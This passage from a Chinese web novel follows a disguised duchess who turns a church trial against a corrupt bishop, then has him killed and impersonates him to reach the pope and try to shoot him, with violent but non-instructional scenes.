如果威克曼没那么自私,愿意说出有利于伊莎贝尔的证词,也许安娜不会狠下心,可惜一个人的本性注定他会做出什么选择。 和家人相比,即便是年轻英俊时期的威克曼,也没有哄骗得安娜离开两个姐姐。 “他说错了一点。”安娜忽然看向简妮,小声说,“我从来没有嫉妒过你和玛丽的好日子。” 她耸耸肩,“因为我知道,你们过上好日子,就会有我一口面包吃。” 玛丽和简妮对视一眼,无奈摇头。 安娜就是这样一个糊涂虫,会糊涂地爱上空有其表的无赖,却也会糊涂地过着好日子,永远把家人放在第一位。 诺曼家族这边安下心来,那边的格兰芬脸色却越发沉重。 安娜否认威克曼的身份,那么他的证词就无效。最重要的是,观众席的所有人在诺曼一家回来之后,心中的天平就渐渐倾斜。 格兰芬意识到局面控制不住,审判官也到了必须宣布结果的时候。 伊莎贝尔向格兰芬微笑颔首,后者接收到视线,倏然起身,冷笑道:“你认为自己已经嬴了吗?你可以骗得过所有人,但是你骗得过朝夕相处的伴侣吗?” 格兰芬笑容越来越大,他轻蔑地看着伊莎贝尔,提高声音:“从消息登报到现在,这么长的时间,查尔维斯庄园难道没人知道这件事?” 众人眼神纷飞。 “抱歉,忘了说,我曾收到女王的来信。”格兰芬微笑,从怀里拿出信件,“信上说,在案件审理未出结果时,斯宾塞公爵府不再承认诺曼小姐的公爵夫人身份。” “难怪公爵夫人一个人在肯特郡待这么久,是不是公爵府早就发现异样?” “枕边人才最能发现异常,这说得过去。” …… 格兰芬听着议论声,志得意满。 “诺曼小姐,怎么样?赢得一次审判固然容易,你还能次次都赢吗?”他缓缓压低声音,“你我都知道事实真相是什么,只要我在一天,你就永远别想摆脱这桩官司。” 伊莎贝尔垂眸。 她的手指无意识地摩挲衣摆。 斯宾塞公爵府的表态,她大概能猜到,是薇奥莱特和女王的选择,这在意料之中。 可是海因里希呢?这其中有没有他的意思? 老实说,伊莎贝尔没有把希望放在某个不可控的因素之上的习惯。 只是这一刻,她竟然分出一丁点心神思考——得知真相,海因里希的反应是什么呢?觉得受到蒙骗,所以一怒之下决定放弃这个妻子?还是说被女王困在原地,想来也来不了? 都没关系,在她的计划里,恒定不变的永远只有她自己,所有人都是不可控的棋子,就像她不会料到家人们会在这一刻赶回来。 可也许是看到家人的复杂心情太过奇妙,以至于让她在此刻也生出莫名的希冀。 伊莎贝尔不动声色垂眸,克制住内心的情绪,正要开口说话,所有人再次看向大门外—— 今天的意外来客实在太多了,众人本不该再起波澜,可是看见来人,实在是忍不住惊叹…… “噢,上帝啊!” “天哪!先生!你没事吧?” 大门外,男人的亚麻衬衫沾满血迹,缓缓向前行走。 走近了才有人认出来,“噢!是公爵!公爵先生!您这是怎么了?” 海因里希没有回答,他带着满身的伤,姿态却坦荡。 看见他,格兰芬笑容凝固。 伊莎贝尔顺着视线望过去,眸光微顿—— 逆光下,海因里希穿过人群朝她走来。 这一幕让伊莎贝尔想起初见,那天高大的男人送给她象征胜利的花环,也是这样向她走来,宣布黇鹿属于她。 此刻,她听见熟悉的声音响起:“我来迟了……奥黛丽·诺曼。” 伊莎贝尔听见名字前拖长的尾音,明白海因里希猜到了真相。 她沉默片刻,“你的伤怎么回事?” “胜利的勋章。”海因里希轻笑,牵起妻子的手,转身面对众人。 他眼神桀骜冰冷,环视一周后紧盯着格兰芬,一字一顿道:“以斯宾塞的名义起誓,我身边的这位女士,永远都是我的妻子。” 海因里希将宝剑递给伊莎贝尔,亲手将权柄送上。 “只要我当一天公爵,她就当一天公爵夫人。” 第99章 海因里希的到来, 宣告胜利的天平彻底倒向伊莎贝尔这一边。 审判官不敢再看格兰芬的脸色,无论和教会的关系如何,这样的情形里, 他要是敢明目张胆地徇私枉法,第二天就会上报纸头条。 格兰芬显然也很清楚这一点。 他盯着海因里希,眼神阴鸷,沉默许久才冷笑道:“公爵先生,你知道自己在做什么吗?” 女王并不想和教会撕破脸,如果只是舍弃一个公爵夫人,风波很快就会过去。可是海因里希出面强势撑腰,这代表着公爵府对伊莎贝尔的支持。 格兰芬摸不准这究竟是女王的意思, 还是公爵府或者海因里希的个人决策。 无论是什么,总之这场审判会的目的已经落空。 “主教先生, 请问你还有证据需要提供吗?”审判官语言暗示。 格兰芬咬着牙,沉默许久才道:“没有了。” “好的。”审判官敲了敲锤子,等众人安静下来才道,“根据王室与教会联合审判庭律法规定,在证据不足的情况下,应采用听审投票制,下面进行投票。” 每一个聆听全程的观众都被发放匿名票据。 十分钟后,结果出现。 格兰芬不等宣布就起身离席,走之前他盯着伊莎贝尔冷笑:“我们都知道真相是什么,一切还没有结束。” 现在,他急着回去了解海因里希的到来,背后究竟有没有其他人的意思。如果是个人行为,那么一切还有得救,如果是女王的意思,他就要好好琢磨一番。 可是不等他出门,身后忽然传来伊莎贝尔含笑的声音。 “是的,一切还没有结束,格兰芬主教。”她慢条斯理起身,在众人都准备离席的时刻,忽然拿出一份新的文件。 “噢,这是怎么了?” “公爵夫人要做什么?” “不清楚,再看看……” …… 最前一排的记者敏锐地嗅到新闻的气息,立刻坐回去,拿出笔刷刷记,结果伊莎贝尔径直走到了他们的面前。 奥黛丽收到姐姐的眼神示意,帮她将那叠文件分发出去。 “这是什么?”记者们好奇地翻开,伴随着入目的字眼,他们的神情渐渐凝重,“噢,上帝啊……” 后排的人越发好奇,纷纷坐了回去。 连带着走到门口的格兰芬、已经起身的审判官…… 大家神色各异,紧盯着缓缓走到台前的伊莎贝尔。 只见她高举着文件,微笑道:“很感谢主教先生为我准备这么盛大的审判会,机会难得,我也有份文件需要提交给审判官大人。” 格兰芬神情渐渐凝重,审判官犹豫片刻:“抱歉,审判会已经结束,如果你要提交新的案子,请重新走程序,我们需要另行通知当事人……” “噢,不不不,当事人就在现场。”伊莎贝尔轻笑,转向众人,“我将以个人名义,状告格兰芬主教十一项罪行,所有证据都在其中。”轻描淡写的一句话,仿佛惊雷炸响。 “什么?状告主教?!” “噢,这不是针对公爵夫人的审判会吗?怎么反过来了?!” …… 格兰芬以及身边的众教徒神情凝重。 “请不要胡言乱语,格兰芬主教是圣曜教会在锡兰的最高领袖,除了尊者,没人有资格审判他!”教徒冷喝。 伊莎贝尔挑眉:“是吗?可是根据联合法庭规定,王室和教会都属于被监督对象,格兰芬主教也包括在其中。这是你们用来审判我的律法,现在,你们可以成为例外吗?” 教徒哑口无言。 可是伊莎贝尔不依不饶,又看向审判官:“还是说,这里不是维持公平与正义的殿堂,身为审判官,会给予某些人特权?” 此话一出,前排的记者眼睛瞪大,所有人都盯着审判官和教徒们。 是的,这个社会总有人有特权,可是在明面上,他们必须用种种借口伪装平等正义,就像最后的遮羞布,总不能在众目睽睽之下被揭开。 格兰芬攥紧拳头,即将靠近伊莎贝尔时,被海因里希挡住。 他压低声音喝骂:“你在玩什么花样?!” 伊莎贝尔平静回视,手上已经翻开文件第一页。 “我说过,很感谢你准备的舞台,为我带来了这么多的观众,你的表演已经结束。现在……请掏干净耳朵听好了。” 她顿了顿,默默等候许久的艾米丽终于出现,提高声音:“格兰芬·约翰逊,第一项罪名,贪污赎罪金款项高达三十万锡兰币;第二,收受贿赂,以教会名义设立苛捐杂税……” 她一边念,一边将证据展示。 那份厚厚的文件里,不仅有格兰芬的赎罪金款项明细,还有各个被逼着捐款的商人的证词与签名。如果说刚才的审判会完全是舆论战,现在这份文件几乎是无可辩驳的证据。 从律法条文到罪行指控,以及各项证据展示……全方位无死角地将格兰芬钉在耻辱柱上。 全场陷入寂静。 只剩格兰芬的喘息,他死死盯着伊莎贝尔,一把夺过艾米丽手中的文件:“这些都是假的!都是伪造的!” “别着急,我们还有人证。” 一旁,沉默许久的赫尔曼忽然开口。 他拍了拍手,查尔斯很快带着以莫尔先生为首的商人站起身。 “这是以怀特公司为首,联合其余十八家工厂主提供的签名书。”赫尔曼缓缓将纸张展开,“哈登菲尔德的每个商人每年都需要缴纳百分之三十的利润作为赎罪金,除此之外,还有额外用于教会学校的捐赠款。所谓捐赠款,最后都进了格兰芬先生的账户。” 格兰芬看见作证的商人,眼底迸发怒火:“你们……你们怎么敢的……” 莫尔先生没有低下头,而是坚定地站在赫尔曼身边。 是的,如果在技术垄断时期,他并不敢得罪教会。可现在不一样了,他们背靠着怀特家族和公爵府,都是靠投机发家的商人,自然看得清形势。 格兰芬看着对面的伊莎贝尔和赫尔曼,忽然明白,自己踏进了一个圈套——一切都是他们计划好的。 他为了审判会造势,于是召集了那么多人,力图用舆论将伊莎贝尔打倒。可是他怎么也想不到,对方反过来借用了他所谓的优势。 最后的地雷炸响得猝不及防,猎物和猎人的身份反转,格兰芬变成了被告。 “主教先生,请问对此有什么想说的吗?” “文件里详细展示了您的款项来源和去向,第九区那座私人豪宅真的是您名下的吗?” “前年您招收一批少男少女进入圣匹斯堡,从此之后就没有去向,您对此知情吗?” …… 一声声质问如潮水涌向格兰芬。 记者们的质询还算温和,可是大门外,听了全程的民众已经按捺不住怒火。 肯特郡的所有人、应该说锡兰的所有人或多或少都经历过欺压。只是近年来教会政策逐渐宽松,又加上信仰的力量,大家渐渐将这层矛盾当成房间里的大象。 可是此刻,一个地位崇高的大主教、竟然做出这么多丑事,这和平时的形象太过割裂! 大家还不傻,尤其是肯特郡的百姓都知道公爵夫人为他们带来了新的商机,诺曼家的另一位小姐又打破了技术垄断,就因为得罪了教会,所以才遭到报复,连换嫁这样的荒唐罪名都能被编织出来。 试想想,如果公爵夫人都能任人宰割,又何况是普通人呢? 一时间,黑衣教徒们形成的人墙堵不住愤怒的群众,尤其在艾米丽揭露最后格兰芬曾经打着招收圣徒的旗号带走一批孩子时,众人彻底坐不住。 艾米丽刚念完,凯文突然领着一群工人冲了进来。 “打倒教会!” “打倒格兰芬!” …… 格兰芬在教徒的护送中狼狈逃窜。 等混乱稍稍停止,奥黛丽率先喊:“我们要公平!” “请公平宣判!” “请公平对待我们所有人!” “严惩格兰芬!” 所有人一起喊。 审判官刚想跑,就被伊莎贝尔堵住:“先生,证据就在眼前,你不敢宣判格兰芬的罪行吗?” “还是说……”她顿了顿,缓缓捡起地上的教会纹章,“您需要我公开您的信仰,让您和格兰芬站在一起?” 审判官愣住,那是他刚才见势不妙,偷偷扔掉的徽章,却被这个女人看见了。 如果是平时,有信仰并不妨碍什么,可是此刻,一旦她发挥煽动的能力,他就会被愤怒的人群吞吃。 没办法,审判官只好重新整理假发,用蚊子般的声音宣布格兰芬罪名成立。 格兰芬攥紧拳头,即便他死死盯着审判官,却也没法在这么多双眼睛注视下说太多。 审判庭没有对教会人员的执法权,必须将人移交到圣匹斯堡处置。 前一秒还是原告,后一秒变成阶下囚,形势变化太快,格兰芬从错愕到愤怒,最后却渐渐平静。 格兰芬阴鸷微笑:“真是一出好戏,诺曼小姐。” 他盯着伊莎贝尔,渐渐理清了思绪。 刚才的这场闹剧太过突然,条理清晰的证据和愤怒的人群一下子让格兰芬方寸大乱。可是冷静下来想想,这根本就没什么可怕的。 所谓王室和教会的联合审判庭就是摆设,连审判官都是自己人,所谓的罪名也就是哄哄人。 真正让人猝不及防的是冲进来的工人,但是仔细观察,还有部分人处于观望状态——他们对目前的陡然转变的情形完全没概念,有的被愤怒感染,有的却还在犹豫。 是啊,格兰芬当了这么多年的大主教,形象深入人心。仅仅凭着一次审判就能定罪? 按照程序来说,他还得被押送去圣匹斯堡,到了那里,有了喘息的机会,再编造一些舆论洗白,风波也就过去了。 所以,真正被押走的时候,格兰芬反而一派轻松,并且为自己刚才的慌乱感到可笑。 他轻蔑了扫了眼伊莎贝尔,“再会,诺曼小姐,希望下次你的伎俩别太低端。” “再见?”伊莎贝尔挑眉,等格兰芬的背影逐渐消失,她垂眸道,“没有再见的机会了。” 奥黛丽听见这句话,面露疑惑:“什么意思?” 伊莎贝尔不急着解释。 审判会到这里终于算是结束,她紧绷的神经开始放松。 视线扫过奥黛丽、海因里希、简妮等人,伊莎贝尔有种说不清的情绪。 良久,她忽然抱住奥黛丽,送上一句迟到的问候:“好久不见。” 奥黛丽微怔,回抱住姐姐:“希望我们的到来让你感到高兴。” 伊莎贝尔凝视着妹妹,微笑:“我曾经并不觉得这种超出计划外的事情,会让自己感到高兴。” “现在呢?”海因里希忽然问。 伊莎贝尔抬眸,顿了顿:“有一点开心。” “只是一点?”安娜揶揄。 伊莎贝尔轻笑,认真回答:“比一点更多,越来越多。” 当家人一个个出现,心脏好像一块拼图,渐渐被填满。 她必须承认,那是很美妙的感受。 奥黛丽眼眶湿润,她看着那双冰蓝色的眼睛,觉得有什么在改变,却又好像什么也没变。 - 温斯顿庄园,一家人休整完毕,齐聚客厅。 伊莎贝尔被围在中央接受“审判”,向来位于食物链最顶端的诺曼大小姐今天成为最底层,对每个人的疑问知无不言。 奥黛丽首先发问,她看着丈夫和姐姐今天默契的配合,眯着眼质问:“你们是不是早就计划好了一切,害得我白担心!” 赫尔曼歪着头看妻子,淡淡道:“我可没有,我也是被你姐姐安排的棋子。” 海因里希一边包扎伤口,一边盯着伊莎贝尔:“我呢?我也只是你的棋子吗?” 简妮和玛丽对视一眼,忍俊不禁。 安娜嘟囔道:“噢,贝拉,你是不是猜到格兰芬会找到威克曼,否则你怎么会表现得那么淡定?” …… 一连串的问题劈头盖脸向伊莎贝尔砸来。 这和白天的审判可不一样,如果再不说实话,她可以保证自己明天的午饭都没有着落。 她轻笑着叹了口气,摇头道:“我不是上帝,怎么能每一个环节都算计到?你们的到来,就不在我的预料内。” 海因里希垂眸,他今晚有些安静,听见这句话时却忍不住开口:“为什么?你认为我不会来?” 奥黛丽也沉默了,她握着伊莎贝尔的手,无意识地揉捏她的掌心。 伊莎贝尔微笑:“也许吧,我只是习惯独自处理一切。” “这个习惯不好,我希望你改变。”奥黛丽仰头,认真说。 伊莎贝尔没有敷衍她,“好。” 她是要改变了。 这并不是为了提高胜算,实际上,在原本的计划里,没有家人或者海因里希,她也能嬴。 从华夏通航开始,她就在收集格兰芬的罪证。索菲娅的死就是一个信号,伊莎贝尔知道,教会不会放过自己。 的确,转移家人一是为了保护他们,二是为了避免出现意外,让自己束手束脚,毕竟她从不打算避战。 所谓的换嫁风波并不可怕,伊莎贝尔更想利用这件事情作为导火索,成为向教会进攻的信号。 她需要一个契机让大家意识到教会的可怕,并且明白他们拥有反抗的能力。 “凯文带领的工人是你安排的吗?”赫尔曼问出他唯一疑惑的问题。 “是。”伊莎贝尔坦然承认,“总要有人做那根点燃愤怒的火柴,如果没有愤怒,也就没有反抗的勇气。” 如果真的按照稳定的庭审流程走下去,也许格兰芬也会利用语言煽动,所以伊莎贝尔不能给他辩解的机会,只要用证据和“民意”将他钉死在罪名之上,无论之后什么结果,反正当下他绝对翻不了身。 格兰芬引火烧身,之前对于伊莎贝尔的换嫁指控,就会被认为是蓄意谋害,这也是她准备的最后底牌——进攻才是最好的防守。 当然,这也得益于格兰芬的傲慢,他当大主教太久了,又是自己的主场,怎么会想到有人在这样完全劣势的场合,还想状告他。 如果是封闭式审判庭也就算了,偏偏是格兰芬自己营造的声势浩大的场合,这下真是搬起石头砸自己的脚。 “格兰芬一旦被移交到圣匹斯堡,你的计划就失效了。”赫尔曼淡淡道。 伊莎贝尔:“我知道。” 她当然没那么天真,以为光凭着审判官一句话,就能给格兰芬定罪。 只要给他留口气,他就有机会拉长战线,到时候铁证如山又怎么样,有西里尔和圣匹斯堡重重守卫,格兰芬说不定还能反咬一口,说伊莎贝尔蓄意泼脏水。 尤其是在女王态度不明的情况之下,局面更是不利。 奥黛丽睁着大眼睛:“贝拉,你想怎么做?” 伊莎贝尔刚要习惯性敷衍,但在妹妹的瞪视下,她只好笑道:“我不会让他走出肯特郡。” 众人一愣。 海因里希蹙眉:“什么意思?” 伊莎贝尔抬眸,轻描淡写道:“杀了他。” 所有人悚然一惊。 “现在知道为什么我不想事无巨细地告诉你们了吧?”伊莎贝尔耸耸肩。 众人心情复杂。 一方面感慨于伊莎贝尔的坦诚,一方面又惊叹她的大胆。 长辈们找借口离开,让出空间给他们商量。 房间里,赫尔曼若有所思,他大概明白伊莎贝尔的意思:“什么时候行动?需要准备什么?” “就明晚吧,请帮我准备这些。”伊莎贝尔拿出一份清单。 “有合适的人选吗?”海因里希睨着妻子。 伊莎贝尔抬眸:“你说呢?” 海因里希哼笑,“乐意效劳。” 奥黛丽呆呆看着他们三个人讨论怎么杀人,语气自然地好像在谈论天气。最后只能干巴巴道:“我呢?我做什么?” 伊莎贝尔捏了捏妹妹的脸,轻笑:“请帮我做一份香甜的蓝莓蛋糕,等我回来好吗?” 奥黛丽深吸一口气,郑重点头:“嗯!” 水蓝色的眼睛认真地盯着姐姐,“你一定要回来,我们都在家等你。” 伊莎贝尔沉默许久,摸了摸妹妹的头:“我会的。” 第100章 “大主教,遵从您的意志,我们已经写信寄往伽蓝圣殿。”黑衣教徒沉声禀报。 大厅里,本该关押受审的格兰芬还好端端地坐着,面前是瑟瑟发抖的审判官,和一桌子丰盛的晚餐。 格兰芬喝光杯中的酒,冷哼道:“不用等尊者的消息,即刻启程。” “可是……没有尊者的指令, 万一我们被拦下……” 教徒话没说完,就被格兰芬阴狠的眼神吓退。 “我说什么,你就做什么。约瑟芬,记住你的身份,你现在的上司是我,不是西里尔。” “是。”约瑟芬颤声低头。 “告诉所有人, 连夜回圣匹斯堡。”格兰芬起身,狠狠瞪了审判官一眼, “你的账,等我回来算。” 审判官哆嗦求饶:“主……主教大人, 我也是没办法啊,那样的情况下, 我我只能宣判您的罪行……” 格兰芬冷笑,猛然将桌子掀翻,杯盘狼藉,酒红色的液体洒了审判官一脸,好不狼狈。 “那你现在最好保持头脑清醒,一点儿小罪过可为难不了我。”格兰芬眼神阴森,慢悠悠地戴上镣铐,走向屋外的马车。 主教出行的规格很高,十数辆马车随行,排场豪华得不像是罪犯的待遇。 如果不是格兰芬主动戴上镣铐装样子,现场所有人都不敢以罪犯的标准对待他。 “大人,那几个小教徒还要带着吗?”约瑟芬又走了进来,迟疑询问,“您的麻烦还得靠尊者解决,他要是问起来……” “不带了。”格兰芬颇有些烦躁,冷哼一声,“西里尔毛病太多,真把自己当圣人了。” 这话约瑟芬可不敢接,只能沉默地走出去。 一旁的审判官顶着满脑袋酒液也不敢擦,直到看见格兰芬起身走出门,才松了一口气。 想起刚才那些话,审判官不由得叹了口气。 他自己固然不是什么好人,但格兰芬却是真的畜生。 那天他站在高台上宣判格兰芬的罪行,心惊胆战之余,却也有种说不出的畅快。 想至此,他又低头看了眼圣曜教会勋章——这是那个女人还给他的。 所谓的信仰,其实早就在见识了阴暗之后,消失殆尽。可是那天过后,他似乎又感受到了某种纯澈的温暖,是那个工人嘴里喊出的话——正义、公平、科学、平等…… 像是剔除种种杂质后,最原始的圣曜信仰——神平等地爱着世人。 神不是任何人,祂是风霜雨露、潮起潮落、太阳月亮、是世间万物。 突然醒来的人,在第一时刻也许并没有意识到自己醒来,而是在过后的某一天,恍然大悟。 就像此刻的审判官。 他擦了擦脸上的酒液,挺直脊背,看向夜色深处—— 目之所及,黑衣教徒们肃穆而立,恭送戴着镣铐的主教上马车。 格兰芬心情烦躁,踩着侍卫的脊背踏上马车,“砰”地一声关上车门,“出发。” 车队有序启程,行至半夜,在野外扎营。 格兰芬躺在床上翻来覆去,突然睁开眼,“来人。” 黑衣教徒约瑟芬又走了进来,身形在拥挤的帐篷里越显佝偻。 “主教,有什么吩咐?”他的声音有些闷。 格兰芬没有在意无关紧要的属下,他现在只觉得一团心火烧得难受,“随便去哪个镇上领个孩子过来。” 教徒沉默数秒:“可是教皇那边……” 格兰芬冷笑,“进圣匹斯堡之前处理干净就行。” 教徒攥紧衣袖。 “还不快去!”格兰芬抬眸。 教徒仍然没有动作,格兰芬终于意识到不对,可是人还没站起身,一只手就死死捂住他的嘴。 佝偻的教徒站直身子,身影倏然高大。 不是约瑟芬! “呜呜呜!”格兰芬拼命挣扎。 教徒的头巾落下,露出一双黝黑冰冷的眼眸。 格兰芬瞪大眼睛,挣扎得越发激烈,却被压制得无法动弹。 “放心,我不会让你死得太痛快。”海因里希嗓音低沉- 主帐外,随行侍卫和黑衣教徒分属两拨人,各自扎营。听见主帐不时传来闷响,领队侍卫正想询问,却被一个教徒拦住。 “主教刚吩咐我带一个孩子过来。”教徒声音有些低沉,一手牵着小孩。 夜色昏暗,领队只知道全身包着黑衣的人是格兰芬的近侍,于是不再多说。 毕竟这样的龌龊事情太常见,就像其他的侍者连问都不问。 “好吧,有意外请随时告知。” 领队又看了眼主车,里面似乎有挣扎的喊叫,他当作没听见,转头离开。 回话的教徒牵着孩子走进主帐。 伴随着一声闷响,温热的血液突然迸溅在孩子的脸上。 “别怕。”教徒摘下面巾,露出冰蓝色的眼睛,她温和地擦拭孩子的脸颊,“没有人能伤害你。” 孩子眼神懵懂,正要转头,眼睛却被蒙住,于是没有看见血腥的场面。 格兰芬被凌迟数百刀,倒在血泊里,已经没有人样。他的嘴巴一张一合,满眼的不甘。 海因里希扔掉染血的黑袍,眼神冰冷,利落地割断他的咽喉。 伊莎贝尔迅速递给他干净衣服,“换上,天亮前把尸体处理了。” 两个人默契地行动着。 海因里希趁着夜色将格兰芬的碎尸带走,等离开人群才将孩子送上马车。 赫尔曼和奥黛丽早就等在林子里接应,看见海因里希带来一个陌生的孩子,俱是一愣。 海因里希简短解释一番就要回去,被奥黛丽叫住。 “我姐姐呢?”奥黛丽一边安抚着孩子,一边询问。 “我不知道她的全部计划。”海因里希的手指还在滴血。 格兰芬已经死了,可是伊莎贝尔却换上了他的衣服留在主帐里。 奥黛丽眼神怔忪,看着海因里希擦拭完血迹,正要离开,她才说:“请把她安全带回来,拜托。” “我会的。”海因里希抬眸,从怀里拿出一个信封递给赫尔曼:“我们离开后,请打开它。这也是贝拉的安排。” “具体的时间是?” “凭你的智慧,到时候就会知道。”海因里希转身离去。 “你们都要平安回来。”奥黛丽看着他的背影,想象着林子那一端的姐姐,喃喃自语,“都要回来。” 海因里希摆摆手,头也不回地走向黎明前的黑夜里- 身为大主教身边的首席教徒,约瑟芬一觉睡到大天亮,他吓得屁滚尿流,赶忙跑到主帐前听候吩咐。 可是今天的主帐异常地安静,路过的侍卫官打招呼道:“嘿,您这么快就回来了?” 约瑟芬茫然。 他出去过吗? 来不及疑惑,帐子里传来沉闷的声音:“进来。” 约瑟芬一个激灵,连滚带爬地跑了进去,“主教大……大人。” 主教没有说话,异常的沉默让约瑟芬感到莫名的恐惧。 他缓缓抬起头,还没看清面前的人,就感觉脑袋被冰冷的物体抵住。 “现在,我就是格兰芬主教,听见了吗?” 约瑟芬头脑空白。 这声音刻意改变了发声方式,所以隔远听不出异常,但是这么近的距离,足以让他分辨出是个女人! “听……听见了。”约瑟芬哆嗦着,不敢抬头。 他只想活命,其余的不敢多问,甚至不敢思考……这个女人顶替了格兰芬,那真正的格兰芬又去了哪里…… 不敢问,问了太多就活不长。 “您……您需要我做什么?” - 一刻钟后,车队再次启程。 据说大主教病了,现在正由约瑟芬贴身照顾,必须全速前往圣匹斯堡。 再次混进人群里的海因里希打听到消息,缓缓接近主车。 被五花大绑的约瑟芬听见车窗响起敲击声,下一刻,就见蒙面的“主教”睁开眼。 旁人畏惧格兰芬的威严,没有命令从不敢靠近主车,所以才让海因里希找到空当。 “这个人要处理掉吗?”看见约瑟芬,海因里希的第一句话几乎让前者吓破胆。 他被堵着嘴,呜呜求饶,然后被海因里希一拳捶晕。 “不用。”伊莎贝尔扫了约瑟芬一眼,“留着他还有用。” 海因里希蹙眉:“还要做什么?” 伊莎贝尔沉默片刻,从车窗缝隙里望向逐渐靠近的山脉。 “去圣匹斯堡。” 海因里希微怔。 “我知道你想说什么。”伊莎贝尔平静地看着他,“但我仍然希望你毫无保留地支持我。” “我父亲已经用生命告诉我们,那条路行不通。” “是的,他没有走通。”伊莎贝尔淡淡道,“可你认为他失败了吗?海因。” 海因里希沉默。 伊莎贝尔顿了顿,冰蓝色的眼睛里划过笑意:“世上没有哪条路是一走就通的,正因为路德维希走过,我们才能沿着他的标记前进。” 她目光辽远,看着远方。 “取代格兰芬只是手段,真正的目标在伽蓝圣殿。”伊莎贝尔垂眸,“我们站在前人的肩膀上,他们没有做到的,我们未必做不到。” 海因里希认真地看着那双冰蓝色眼睛,停顿许久才开口:“是的,但是我必须纠正你一件事。” “请说。” “在你提问前,不要预设我的答案为否定。因为无论你做什么决定,我都会誓死效忠。” 伊莎贝尔愣住,她没有想到海因里希要说的话是这些。 “事实上,任何决定都无法确保百分百的胜算,有时候,你们的否定是正常的。” “可我的决定并不源于你的胜算。”海因里希坦然地擦拭着染血的匕首,耸肩,“你就算跟我说,你想闯进伽蓝圣殿把西里尔大卸八块,我也不会说个不字。” 伊莎贝尔莞尔,她笑了一阵,眼神古怪:“不幸的是,你猜对了,我的计划就是这样。” 海因里希动作顿住,很快无所谓地摊手:“那就干吧,大不了结局是我们一起被他大卸八块。” 两个人对视着,一起低笑出声。 笑着笑着,海因里希的眼神逐渐温和。 “伊莎贝尔。”他第一次呼唤妻子的真名,轻声说,“你可以做到。” “即便是个疯狂的计划。” “是的,即便那很疯狂。”海因里希顿了顿,眸带深意,“你一直是个奇迹女孩。” 伊莎贝尔微怔,似乎从他的眼眸里读出不同寻常的意味。 海因里希轻笑,盯着她的眼睛说,“所有人奉西里尔为神明,我知道,他不是……你才是。” 伊莎贝尔怔愣良久,她不知道海因里希是否察觉了什么。 任何细微的异样,都无法瞒过一个深爱你的人,母亲如此,妹妹如此,现在……海因里希也是如此。 更何况,她从没有想过隐瞒。 伊莎贝尔垂眸轻笑,她想了很久,只是伸出手捧着海因里希的脸,认真说:“那就敬请期待你的奇迹女孩再次彰显神迹。” “不,是我的奇迹女王。”窗外清风吹拂,海因里希吻了吻她的额头。 100-110 第101章 晴天, 古尔勒弥斯山脉。 阳光让墨菲斯雪山的云雾渐渐散去,露出伽蓝圣殿的尖塔。 曾经美轮美奂的建筑被烧得只剩漆黑的空架子,突兀地耸立着。 车队进入圣匹斯堡, 一路绿灯,直奔山顶而去。 约瑟芬被迫服用了毒药,硬着头皮向众人解释“格兰芬”主教身患传染病,这些天必须离他远一点。 其余侍从当然愿意,于是伊莎贝尔凭着格兰芬的令牌顺利通过重重关卡。 作为锡兰大主教,格兰芬的权限很高。 除了教皇以外,没有人能命令他做什么。 直到抵达广场,伊莎贝尔才需要落地,朝着圣殿跪拜,等待教皇的侍者出现。 好在老头身材并不高大,加上圣曜教会阶级分明,别人也不敢随意打量大主教。所以用黑袍蒙得严严实实的伊莎贝尔并没有引起注意。 一刻钟后, 教皇侍者洛奇终于出现。 “格兰芬主教,你没有等到尊者的回信就启程,并不符合规矩。”洛奇绷着脸,年轻的面孔一派严肃老成, “但是尊者宽宏大量,听说你疾病缠身才破例接见你,请吧。” “向尊者致敬。”众人虔诚跪拜。 洛奇摆摆手,伊莎贝尔从容起身, 跟在他身后。 跪拜的人群里,约瑟芬悄悄目送他们远去,紧张得心脏狂跳。 最后一排的侍卫突然抬起头,黝黑的眼眸也倒映着“主教”离开的背影。 自从路德维希和平革命之后, 西里尔的安全防守一直很严密,从进入圣匹斯堡开始就要经过重重盘查,更别说抵达圣殿以后。 可是现在未免太过顺利。 看着妻子朝着幽暗破败的塔楼走去,海因里希有种没来由的心悸。 前方,伊莎贝尔沉默地行进,似乎没有察觉身后的注视。 “到了,尊者就在里面。” 索菲娅死后,塔楼只简单维修了第一层,谁也不知道西里尔为什么坚守着这座破败的建筑。 洛奇停在门外,一边狐疑地盯着她,“面见尊者要摘掉头巾。” 伊莎贝尔伸出手臂,上面是密密麻麻的疮疤,触目惊心。 洛奇吓得后退两步,赶忙摆手:“噢,主教先生,离我远点,快进去!” 伊莎贝尔放下衣袖,遮住用毒药伪造的伤口,径直往里走。 幽暗的走廊的焦炭味还没散去,曾经金碧辉煌的大殿现在已经看不出原貌,只能从断壁残垣中窥见当天的惨状。 伊莎贝尔想起那枚铃兰发饰。 索菲娅就是在这场大火中死的吗?原来伴随她离开的,还有这座所谓的神圣殿堂。 这很像她的作风。 即便是死亡,也必须烈火烹油,轰轰烈烈。 一路往里走,伊莎贝尔踏着索菲娅曾经的足迹,走进主殿大厅。 “你来了。” 忽然,前方传来熟悉的声音。 伊莎贝尔悄悄抬眸——那道安详坐在窗边看书的背影,和证婚那天见过的重叠。 是西里尔。 他语气熟稔,手里还抱着熟睡的小猫。 “过来吧,生了什么病?” 伊莎贝尔缓缓走近,一步、两步、三步…… 掌心攥紧火器,西里尔的侧脸暴露在射程范围里。 没有认错,不是替身,金发金眸,是真正的西里尔。 此时此刻,只需要一枪,就能结束他的生命,结束罪恶的源头。 千分之一秒的时间里,她没有任何犹豫,迅速瞄准扣动扳机! “砰!” 一声枪响,伊莎贝尔的手被突然转身的西里尔紧紧攥住。 子弹打偏,擦着他的脸颊而过。 “砰!” 伊莎贝尔迅速挣脱,又是一枪。 这一次子弹射中柔软的身体,血花四溅,伴随着一声哀鸣。 “什么声音!” “快!保护尊者!” “抓住她!” …… 下一刻,门外的洛奇听见动静,迅速带着守卫涌入,将伊莎贝尔按住。 最佳时机已经过去,伊莎贝尔没有挣扎,她的枪械被收缴,视野里一片鲜红——但不是西里尔。 预想中已经死去的人,仍然从容站立着,而后捡起血泊里被他用来挡枪的小猫——猫咪睁着琥珀色的纯澈眼睛,绝望地发出呜咽,似乎不明白为什么上一刻还在轻柔抚摸自己的主人,下一刻就把它推向死亡。 “睡吧,可怜的孩子,愿你来世安康。”西里尔怜悯轻叹,动作轻柔地一如从前。 他放下小猫,好像才注意到伊莎贝尔,唇边挂着惊讶的笑,“噢,是你啊,海因的新妻子。” 看着他故作惊讶的神情,伊莎贝尔的心渐渐沉了下去。 不对劲……西里尔的反应不对劲。 果然,下一秒,西里尔缓缓走近,“我应该叫你奥黛丽,还是……伊莎贝尔?” 